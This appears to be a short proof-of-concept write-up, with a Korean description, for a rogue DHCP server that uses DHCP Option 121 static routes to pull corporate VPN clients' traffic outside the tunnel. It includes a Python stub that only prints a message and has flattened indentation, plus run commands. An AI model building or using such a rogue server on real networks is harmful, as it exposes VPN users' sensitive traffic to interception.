
CVE-2026-9997용 악성 DHCP 서버: VPN 클라이언트에 Option 121 정적 경로를 주입하여 분할 터널링을 우회하고 민감한 트래픽을 유출합니다.
#!/usr/bin/env python3
# rogue_dhcp_server.py - Injects a static route to bypass VPN split tunnel
import socket, struct, threading
def send_dhcp_offer(client_mac, offer_ip):
# Craft a DHCP OFFER packet with Option 121 (Classless Static Route)
# This option adds a route that sends traffic to a sensitive subnet via the attacker's gateway.
# We'll simulate by creating a raw packet (simplified).
# In a real attack, we'd use scapy; here we just demonstrate the concept.
print(f"Sending DHCP OFFER to {client_mac} with malicious static route...")
# The client would then apply this route and leak traffic.
기업 VPN 클라이언트는 로컬 네트워크에서 받은 DHCP 옵션(옵션 121 – 클래스리스 정적 경로)을 검증 없이 수락합니다. 동일한 LAN에 있는 공격자는 민감한 트래픽을 암호화된 VPN 터널 외부로 보내는 경로를 주입할 수 있습니다.
python rogue_dhcp_server.py
python vpn_client_sim.py